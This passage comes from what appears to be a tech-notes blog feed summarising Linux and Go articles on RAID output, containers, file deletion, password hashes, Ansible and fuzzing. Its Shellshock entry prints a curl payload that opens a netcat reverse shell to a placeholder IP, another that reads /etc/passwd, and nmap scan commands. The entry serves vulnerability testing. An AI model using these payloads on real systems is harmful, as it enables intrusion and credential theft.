&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Associated Fluid Cache State : Not Applicable
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Device Name : /dev/sda
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Bus Protocol : ATA
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Media : HDD
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Read Policy : Adaptive Read Ahead
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Write Policy : Write Back
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Cache Policy : Not Applicable
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Stripe Element Size : &lt;span style="color:#ae81ff">128&lt;/span> KB
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Disk Cache Policy : Enabled
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div></description></item><item><title>Test Whether a Server Is Vulnerable to Shellshock Bug</title><link>https://9855cc0f.linzeyan.pages.dev/posts/2022/20221128-linux-shellshock-bug/</link><pubDate>Mon, 28 Nov 2022 15:35:30 +0800</pubDate><guid>https://9855cc0f.linzeyan.pages.dev/posts/2022/20221128-linux-shellshock-bug/</guid><description>&lt;ul>
&lt;li>&lt;a href="https://www.baeldung.com/linux/shellshock-bug" target="_blank" rel="noopener">Test Whether a Server Is Vulnerable to Shellshock Bug&lt;/a>&lt;/li>
&lt;/ul>
&lt;h5 id="the-shellshock-bug">The Shellshock Bug&lt;/h5>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>env x&lt;span style="color:#f92672">=&lt;/span>&lt;span style="color:#e6db74">&amp;#39; () {:;};&amp;#39;&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;h5 id="exploiting-shellshock-bug">Exploiting Shellshock Bug&lt;/h5>
&lt;ul>
&lt;li>A substituted command is executed since the feature ignores the command specified by the user, and instead, it runs that which the ForceCommand defines.&lt;/li>
&lt;li>The ignored commands from the user are put in the &amp;ldquo;SSH_ORIGINAL_COMMAND&amp;rdquo; environment variable. If the user&amp;rsquo;s default shell is Bash, the Bash shell will parse the value of the &amp;ldquo;SSH_ORIGINAL_COMMAND&amp;rdquo; environment variable on start-up and run the embedded commands.&lt;/li>
&lt;/ul>
&lt;h5 id="examples-of-shellshock-exploit-commands">Examples of Shellshock Exploit Commands&lt;/h5>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e">## 1&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>curl -H &lt;span style="color:#e6db74">&amp;#34;X-Frame-Options: () {:;};echo;/bin/nc -e /bin/bash 192.168.y.y 443&amp;#34;&lt;/span> 192.168.x.y/CGI-bin/hello.cgi
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e">## 2&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>curl --insecure 192.168.x.x -H &lt;span style="color:#e6db74">&amp;#34;User-Agent: () { :; }; /bin/cat /etc/passwd&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;ul>
&lt;li>use nmap script to test for the vulnerability&lt;/li>
&lt;/ul>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>nmap -sV -p- --script http-shellshock 192.168.x.x
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>nmap -sV -p- --script http-shellshock --script-args uri&lt;span style="color:#f92672">=&lt;/span>/cgi-bin/bin,cmd&lt;span style="color:#f92672">=&lt;/span>ls 192.168.x.x
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div></description></item><item><title>Containers from scratch</title><link>https://9855cc0f.linzeyan.pages.dev/posts/2022/20221124-containers-from-scratch/</link><pubDate>Thu, 24 Nov 2022 13:10:14 +0800</pubDate><guid>https://9855cc0f.linzeyan.pages.dev/posts/2022/20221124-containers-from-scratch/</guid><description>&lt;ul>
&lt;li>&lt;a href="https://ericchiang.github.io/post/containers-from-scratch/" target="_blank" rel="noopener">Containers from scratch&lt;/a>&lt;/li>
&lt;/ul>
&lt;h3 id="container-file-systems">Container file systems&lt;/h3>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>$ wget https://github.com/ericchiang/containers-from-scratch/releases/download/v0.1.0/rootfs.tar.gz
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>$ sha256sum rootfs.tar.gz
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>c79bfb46b9cf842055761a49161831aee8f4e667ad9e84ab57ab324a49bc828c rootfs.tar.gz
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>$ &lt;span style="color:#75715e"># tar needs sudo to create /dev files and setup file ownership&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>$ sudo tar -zxf rootfs.tar.gz
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>$ ls rootfs
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>bin dev home lib64 mnt proc run srv tmp var
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>boot etc lib media opt root sbin sys usr
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>$ ls -al rootfs/bin/ls
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>-rwxr-xr-x. &lt;span style="color:#ae81ff">1&lt;/span> root root &lt;span style="color:#ae81ff">118280&lt;/span> Mar &lt;span style="color:#ae81ff">14&lt;/span> &lt;span style="color:#ae81ff">2015&lt;/span> rootfs/bin/ls
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;h3 id="chroot">chroot&lt;/h3>
&lt;p>it allows us to restrict a process&amp;rsquo; view of the file system. In this case, we&amp;rsquo;ll restrict our process to the &amp;ldquo;rootfs&amp;rdquo; directory then exec a shell.&lt;/p></description></item><item><title>How to Delete Files With Names That Contain Non-printable Characters</title><link>https://9855cc0f.linzeyan.pages.dev/posts/2022/20221114-delete-files-non-printable-characters/</link><pubDate>Mon, 14 Nov 2022 13:55:17 +0800</pubDate><guid>https://9855cc0f.linzeyan.pages.dev/posts/2022/20221114-delete-files-non-printable-characters/</guid><description>&lt;ul>
&lt;li>&lt;a href="https://www.baeldung.com/linux/delete-files-non-printable-characters" target="_blank" rel="noopener">How to Delete Files With Names That Contain Non-printable Characters&lt;/a>&lt;/li>
&lt;/ul>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>ls -l
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>total &lt;span style="color:#ae81ff">13&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>-rw-r--r-- &lt;span style="color:#ae81ff">1&lt;/span> ZZ &lt;span style="color:#ae81ff">197121&lt;/span> &lt;span style="color:#ae81ff">4&lt;/span> Nov &lt;span style="color:#ae81ff">6&lt;/span> 07:08 &lt;span style="color:#e6db74">&amp;#39; &amp;#39;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>-rw-r--r-- &lt;span style="color:#ae81ff">1&lt;/span> ZZ &lt;span style="color:#ae81ff">197121&lt;/span> &lt;span style="color:#ae81ff">162&lt;/span> Apr &lt;span style="color:#ae81ff">16&lt;/span> &lt;span style="color:#ae81ff">2022&lt;/span> &lt;span style="color:#e6db74">&amp;#39;~$iscord.docx&amp;#39;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>-rw-r--r-- &lt;span style="color:#ae81ff">1&lt;/span> ZZ &lt;span style="color:#ae81ff">197121&lt;/span> &lt;span style="color:#ae81ff">6&lt;/span> Nov &lt;span style="color:#ae81ff">6&lt;/span> 06:03 &lt;span style="color:#e6db74">&amp;#39;&amp;#39;$&amp;#39;\302\226&amp;#39;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>-rw-r--r-- &lt;span style="color:#ae81ff">1&lt;/span> ZZ &lt;span style="color:#ae81ff">197121&lt;/span> &lt;span style="color:#ae81ff">4&lt;/span> Nov &lt;span style="color:#ae81ff">6&lt;/span> 06:01 &lt;span style="color:#e6db74">&amp;#39;&amp;#39;$&amp;#39;\302\226&amp;#39;&amp;#39;Λ---ω&amp;#39;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>-rw-r--r-- &lt;span style="color:#ae81ff">1&lt;/span> ZZ &lt;span style="color:#ae81ff">197121&lt;/span> &lt;span style="color:#ae81ff">4&lt;/span> Nov &lt;span style="color:#ae81ff">6&lt;/span> 06:13 &lt;span style="color:#e6db74">&amp;#39;␴?␴??␴??::␴?␴&amp;#39;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>-rw-r--r-- &lt;span style="color:#ae81ff">1&lt;/span> ZZ &lt;span style="color:#ae81ff">197121&lt;/span> &lt;span style="color:#ae81ff">4&lt;/span> Nov &lt;span style="color:#ae81ff">6&lt;/span> 06:12 ␴__␴
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>-rw-r--r-- &lt;span style="color:#ae81ff">1&lt;/span> ZZ &lt;span style="color:#ae81ff">197121&lt;/span> &lt;span style="color:#ae81ff">4&lt;/span> Nov &lt;span style="color:#ae81ff">6&lt;/span> 06:14 ␴␴␴␴␴␴␴␴␴␴␴␴␴␴␴␴␴
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>-rw-r--r-- &lt;span style="color:#ae81ff">1&lt;/span> ZZ &lt;span style="color:#ae81ff">197121&lt;/span> &lt;span style="color:#ae81ff">4&lt;/span> Nov &lt;span style="color:#ae81ff">6&lt;/span> 06:18 &lt;span style="color:#e6db74">&amp;#39;␴ω␴␴␣␦&amp;#39;$&amp;#39;\342\220\264&amp;#39;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>-rw-r--r-- &lt;span style="color:#ae81ff">1&lt;/span> ZZ &lt;span style="color:#ae81ff">197121&lt;/span> &lt;span style="color:#ae81ff">4&lt;/span> Nov &lt;span style="color:#ae81ff">6&lt;/span> 06:16 ␣␣␣␣␣␣␣␣
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>-rw-r--r-- &lt;span style="color:#ae81ff">1&lt;/span> ZZ &lt;span style="color:#ae81ff">197121&lt;/span> &lt;span style="color:#ae81ff">4&lt;/span> Nov &lt;span style="color:#ae81ff">6&lt;/span> 06:26 ␣ μ μ Ω Ω
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>-rw-r--r-- &lt;span style="color:#ae81ff">1&lt;/span> ZZ &lt;span style="color:#ae81ff">197121&lt;/span> &lt;span style="color:#ae81ff">14&lt;/span> Nov &lt;span style="color:#ae81ff">6&lt;/span> 06:23 &lt;span style="color:#e6db74">&amp;#39;␣ μ ␴&amp;#39;$&amp;#39;\342\220\264&amp;#39;&amp;#39;Ξ&amp;#39;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>-rw-r--r-- &lt;span style="color:#ae81ff">1&lt;/span> ZZ &lt;span style="color:#ae81ff">197121&lt;/span> &lt;span style="color:#ae81ff">4&lt;/span> Nov &lt;span style="color:#ae81ff">6&lt;/span> 06:27
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>-rw-r--r-- &lt;span style="color:#ae81ff">1&lt;/span> ZZ &lt;span style="color:#ae81ff">197121&lt;/span> &lt;span style="color:#ae81ff">4&lt;/span> Nov &lt;span style="color:#ae81ff">6&lt;/span> 06:27
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;h5 id="using-ansi-c-quoting">Using ANSI-C Quoting&lt;/h5>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e"># Using ANSI-C Quoting&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>rm &lt;span style="color:#e6db74">&amp;#39;&amp;#39;$&amp;#39;\302\226&amp;#39;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e"># We can also use the $ special character before enclosing the filename in single quotes&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>rm &lt;span style="color:#e6db74">$&amp;#39;\356\200\215&amp;#39;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e"># pass an item&amp;#39;s name to rm without using the ANSI-C quoting&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>rm &lt;span style="color:#e6db74">&amp;#39;\026\033&amp;#39;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>rm: cannot remove &lt;span style="color:#e6db74">&amp;#39;\026\033&amp;#39;&lt;/span>: No such file or directory
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;h5 id="using-inode-numbers">Using Inode Numbers&lt;/h5>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>ls -li
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>total &lt;span style="color:#ae81ff">11&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>...
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ae81ff">6517085&lt;/span> -rw-r--r-- &lt;span style="color:#ae81ff">1&lt;/span> ZZ &lt;span style="color:#ae81ff">197121&lt;/span> &lt;span style="color:#ae81ff">4&lt;/span> Nov &lt;span style="color:#ae81ff">6&lt;/span> 06:18 &lt;span style="color:#e6db74">&amp;#39;␴ω␴␴␣␦&amp;#39;$&amp;#39;\342\220\264&amp;#39;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ae81ff">7826050&lt;/span> -rw-r--r-- &lt;span style="color:#ae81ff">1&lt;/span> ZZ &lt;span style="color:#ae81ff">197121&lt;/span> &lt;span style="color:#ae81ff">3&lt;/span> Nov &lt;span style="color:#ae81ff">9&lt;/span> 04:23 &lt;span style="color:#e6db74">&amp;#39;&amp;#39;$&amp;#39;\356\200\215\356\200\215\356\200\215&amp;#39;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ae81ff">4685554&lt;/span> -rw-r--r-- &lt;span style="color:#ae81ff">1&lt;/span> ZZ &lt;span style="color:#ae81ff">197121&lt;/span> &lt;span style="color:#ae81ff">4&lt;/span> Nov &lt;span style="color:#ae81ff">6&lt;/span> 06:27
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>we can delete the desired file by passing its inode number to the -inum switch of the find command&lt;/p></description></item><item><title>/etc/shadow and Creating yescrypt, MD5, SHA-256, and SHA-512 Password Hashes</title><link>https://9855cc0f.linzeyan.pages.dev/posts/2022/20221114-shadow-passwords/</link><pubDate>Mon, 14 Nov 2022 12:55:39 +0800</pubDate><guid>https://9855cc0f.linzeyan.pages.dev/posts/2022/20221114-shadow-passwords/</guid><description>&lt;ul>
&lt;li>&lt;a href="https://www.baeldung.com/linux/shadow-passwords" target="_blank" rel="noopener">/etc/shadow and Creating yescrypt, MD5, SHA-256, and SHA-512 Password Hashes&lt;/a>&lt;/li>
&lt;/ul>
&lt;h5 id="chage-and-password-aging">chage and Password Aging&lt;/h5>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>chage --list root
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Last password change : Oct 01, &lt;span style="color:#ae81ff">2022&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Password expires : never
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Password inactive : never
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Account expires : never
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Minimum number of days between password change : &lt;span style="color:#ae81ff">0&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Maximum number of days between password change : &lt;span style="color:#ae81ff">99999&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Number of days of warning before password expires : &lt;span style="color:#ae81ff">7&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Consequently, we can change any field via its associated flag:&lt;/p></description></item><item><title>How to Use which on an Aliased Command</title><link>https://9855cc0f.linzeyan.pages.dev/posts/2022/20221110-which-on-an-aliased-command/</link><pubDate>Thu, 10 Nov 2022 16:24:30 +0800</pubDate><guid>https://9855cc0f.linzeyan.pages.dev/posts/2022/20221110-which-on-an-aliased-command/</guid><description>&lt;ul>
&lt;li>&lt;a href="https://www.baeldung.com/linux/which-on-an-aliased-command" target="_blank" rel="noopener">How to Use which on an Aliased Command&lt;/a>&lt;/li>
&lt;/ul>
&lt;h5 id="type">type&lt;/h5>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>type grep
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>grep is an alias &lt;span style="color:#66d9ef">for&lt;/span> grep --color&lt;span style="color:#f92672">=&lt;/span>auto
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e"># Bash&amp;#39;s type&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>type -P grep
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>/usr/bin/grep
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e"># Zsh&amp;#39;s type&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>type -p grep
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>grep is /usr/bin/grep
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;h5 id="gnu-which">GNU which&lt;/h5>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>which -a which
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>which: shell built-in command
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>/usr/bin/which
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>alias top10
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>top10&lt;span style="color:#f92672">=&lt;/span>&lt;span style="color:#e6db74">&amp;#39;print -l ${(o)history%% *} | uniq -c | sort -nr | head -n 10&amp;#39;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>alias | /usr/bin/which -i top10
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>top10&lt;span style="color:#f92672">=&lt;/span>&lt;span style="color:#e6db74">&amp;#39;print -l ${(o)history%% *} | uniq -c | sort -nr | head -n 10&amp;#39;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> /usr/bin/uniq
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> /usr/bin/sort
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> /usr/bin/head
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div></description></item><item><title>Convert Command Output to an Image</title><link>https://9855cc0f.linzeyan.pages.dev/posts/2022/20221110-tip-command-output-to-image/</link><pubDate>Thu, 10 Nov 2022 16:13:04 +0800</pubDate><guid>https://9855cc0f.linzeyan.pages.dev/posts/2022/20221110-tip-command-output-to-image/</guid><description>&lt;ul>
&lt;li>&lt;a href="https://ansible.cloudns.pro/post/tips/tip-command-output-to-image/" target="_blank" rel="noopener">Convert Command Output to an Image&lt;/a>&lt;/li>
&lt;/ul>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-yaml" data-lang="yaml">&lt;span style="display:flex;">&lt;span>---
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>- &lt;span style="color:#f92672">name&lt;/span>: &lt;span style="color:#ae81ff">Capture command output and convert to image&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">hosts&lt;/span>: &lt;span style="color:#ae81ff">all&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">tasks&lt;/span>:
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> - &lt;span style="color:#f92672">name&lt;/span>: &lt;span style="color:#ae81ff">Display content of /etc/redhat-release&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">shell&lt;/span>: &lt;span style="color:#ae81ff">cat /etc/redhat-release&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">register&lt;/span>: &lt;span style="color:#ae81ff">redhat_release_result&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> - &lt;span style="color:#f92672">name&lt;/span>: &lt;span style="color:#ae81ff">hostname&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">shell&lt;/span>: &lt;span style="color:#ae81ff">hostname&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">register&lt;/span>: &lt;span style="color:#ae81ff">hostname_result&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#75715e"># You can use ImageMagick to convert text to an image&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> - &lt;span style="color:#f92672">name&lt;/span>: &lt;span style="color:#ae81ff">Convert command output as image&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">shell&lt;/span>: &lt;span style="color:#ae81ff">echo -e &amp;#34;{{ hostname_result.stdout }}\n{{ redhat_release_result.stdout }}&amp;#34; | convert label:@- {{ hostname_result.stdout }}.png&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">delegate_to&lt;/span>: &lt;span style="color:#ae81ff">localhost&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div></description></item><item><title>Use Go Fuzzing to Write More Complete Unit Tests</title><link>https://9855cc0f.linzeyan.pages.dev/posts/2022/20221103-utilize-go-fuzzing-to-write-better-unit-tests/</link><pubDate>Thu, 03 Nov 2022 16:57:29 +0800</pubDate><guid>https://9855cc0f.linzeyan.pages.dev/posts/2022/20221103-utilize-go-fuzzing-to-write-better-unit-tests/</guid><description>&lt;ul>
&lt;li>&lt;a href="https://medium.com/starbugs/utilize-go-fuzzing-to-write-better-unit-tests-80bd37cd4e38" target="_blank" rel="noopener">Use Go Fuzzing to Write More Complete Unit Tests&lt;/a>&lt;/li>
&lt;/ul>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-go" data-lang="go">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">func&lt;/span> &lt;span style="color:#a6e22e">Pow&lt;/span>(&lt;span style="color:#a6e22e">base&lt;/span> &lt;span style="color:#66d9ef">uint&lt;/span>, &lt;span style="color:#a6e22e">exponent&lt;/span> &lt;span style="color:#66d9ef">uint&lt;/span>) &lt;span style="color:#66d9ef">uint&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">if&lt;/span> &lt;span style="color:#a6e22e">exponent&lt;/span> &lt;span style="color:#f92672">==&lt;/span> &lt;span style="color:#ae81ff">0&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">return&lt;/span> &lt;span style="color:#ae81ff">1&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">return&lt;/span> &lt;span style="color:#a6e22e">base&lt;/span> &lt;span style="color:#f92672">*&lt;/span> &lt;span style="color:#a6e22e">Pow&lt;/span>(&lt;span style="color:#a6e22e">base&lt;/span>, &lt;span style="color:#a6e22e">exponent&lt;/span>&lt;span style="color:#f92672">-&lt;/span>&lt;span style="color:#ae81ff">1&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>}
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-go" data-lang="go">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">func&lt;/span> &lt;span style="color:#a6e22e">FuzzPow&lt;/span>(&lt;span style="color:#a6e22e">f&lt;/span> &lt;span style="color:#f92672">*&lt;/span>&lt;span style="color:#a6e22e">testing&lt;/span>.&lt;span style="color:#a6e22e">F&lt;/span>) {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">f&lt;/span>.&lt;span style="color:#a6e22e">Fuzz&lt;/span>(&lt;span style="color:#66d9ef">func&lt;/span>(&lt;span style="color:#a6e22e">t&lt;/span> &lt;span style="color:#f92672">*&lt;/span>&lt;span style="color:#a6e22e">testing&lt;/span>.&lt;span style="color:#a6e22e">T&lt;/span>, &lt;span style="color:#a6e22e">x&lt;/span>, &lt;span style="color:#a6e22e">y&lt;/span> &lt;span style="color:#66d9ef">uint&lt;/span>) {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">assert&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> &lt;span style="color:#a6e22e">assert&lt;/span>.&lt;span style="color:#a6e22e">New&lt;/span>(&lt;span style="color:#a6e22e">t&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">assert&lt;/span>.&lt;span style="color:#a6e22e">Equal&lt;/span>(&lt;span style="color:#a6e22e">Pow&lt;/span>(&lt;span style="color:#a6e22e">x&lt;/span>, &lt;span style="color:#ae81ff">0&lt;/span>), uint(&lt;span style="color:#ae81ff">1&lt;/span>))
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">assert&lt;/span>.&lt;span style="color:#a6e22e">Equal&lt;/span>(&lt;span style="color:#a6e22e">Pow&lt;/span>(&lt;span style="color:#a6e22e">x&lt;/span>, &lt;span style="color:#ae81ff">1&lt;/span>), &lt;span style="color:#a6e22e">x&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">assert&lt;/span>.&lt;span style="color:#a6e22e">Equal&lt;/span>(&lt;span style="color:#a6e22e">Pow&lt;/span>(&lt;span style="color:#a6e22e">x&lt;/span>, &lt;span style="color:#ae81ff">2&lt;/span>), &lt;span style="color:#a6e22e">x&lt;/span>&lt;span style="color:#f92672">*&lt;/span>&lt;span style="color:#a6e22e">x&lt;/span>)
